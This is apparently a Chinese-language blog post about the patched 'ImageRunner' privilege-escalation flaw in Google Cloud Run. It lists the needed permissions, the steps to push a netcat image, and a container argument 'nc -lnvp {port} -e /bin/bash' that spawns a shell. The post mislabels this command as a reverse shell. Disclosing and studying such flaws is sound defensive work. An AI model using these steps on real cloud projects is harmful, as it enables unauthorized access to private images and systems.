ImageRunner漏洞:Google Cloud Run中的权限提升漏洞

什么是Cloud Run、Container Registry和Artifact Registry?

  • Cloud Run:一个完全托管的服务,用于在无服务器环境中运行容器化应用程序。它处理基础设施、扩展和执行环境,让你无需担心底层系统即可运行应用程序。
  • Container Registry:一个较老的服务,用于存储和管理容器镜像。自2025年3月18日起已被Artifact Registry取代。
  • Artifact Registry:下一代解决方案,支持多种类型的工件(包括Maven和npm包),提供更广泛的功能。

ImageRunner漏洞详细信息

漏洞概述:该漏洞允许攻击者利用Cloud Run修订版的编辑权限,访问同一项目中的私有容器镜像,即使他们没有相应的注册表权限。

攻击方法

  1. 获取必要权限 :攻击者需要run.services.updateiam.serviceAccounts.actAs权限。
  2. 更新Cloud Run服务:攻击者可以更新Cloud Run服务并创建一个新修订版。
  3. 指定私有镜像:在更新过程中,攻击者可以指定任何私有容器镜像作为新修订版的基础镜像。
  4. 注入恶意指令:攻击者可以通过添加命令或参数来注入恶意指令,例如使用Netcat(ncat)镜像建立反向连接,获取镜像内容或敏感数据。

示例代码和步骤

步骤1:拉取和推送ncat镜像

bash 复制代码
docker pull raesene/ncat
gcloud auth login
gcloud auth configure-docker
docker tag raesene/ncat gcr.io/{project-name}/ncat:latest
docker push gcr.io/{project-name}/ncat:latest

步骤2:更新Cloud Run服务

  • 使用具有run.services.updateiam.serviceAccounts.actAs权限的身份。
  • 更新Cloud Run服务并创建新修订版。
  • 指定私有镜像(例如gcr.io/{project-name}/ncat:latest)。

步骤3:注入恶意指令

  • 在容器参数中添加恶意指令,例如:

    bash 复制代码
    nc -lnvp {port} -e /bin/bash

    这将在攻击者机器上建立一个反向shell。

修复措施

Google已修复此漏洞,确保创建或更新Cloud Run资源的用户或服务账户必须具有显式的容器镜像访问权限。对于Artifact Registry,需要Artifact Registry Reader角色。

Jenga概念

ImageRunner是Tenable Research提出的"Jenga"概念的一个例子,指出云服务之间的依赖关系可能导致新的漏洞和风险。

相关推荐
陈随易27 分钟前
VSCode的Copilot扩展支持接入DeepSeek,Kimi了!
前端·后端·程序员
我不是外星人2 小时前
有了 Harness Engineering ,真的还需要研发工程师吗?
前端·后端·ai编程
candyTong2 小时前
RTK 技术原理:一次典型会话里,80% 上下文是怎么省下来的
javascript·后端·架构
Rust研习社4 小时前
组合真的优于继承吗?为什么 Rust 和 Go 都拥抱组合舍弃继承?
后端·rust·编程语言
IT_陈寒4 小时前
JavaScript的闭包把我坑惨了,说好的内存会自动回收呢?
前端·人工智能·后端
CaffeinePro5 小时前
Pydantic深度使用:数据校验、枚举、ORM映射
后端·fastapi
Chenyiax6 小时前
从 Chat 到 Responses:OpenAI API 抽象为什么变了?
后端
MariaH6 小时前
Koa和Express的区别
后端
MariaH6 小时前
Koa框架的使用
后端
luckdewei7 小时前
那个用 passlib 做认证的新同事,上线第一天就把用户密码写进了日志
后端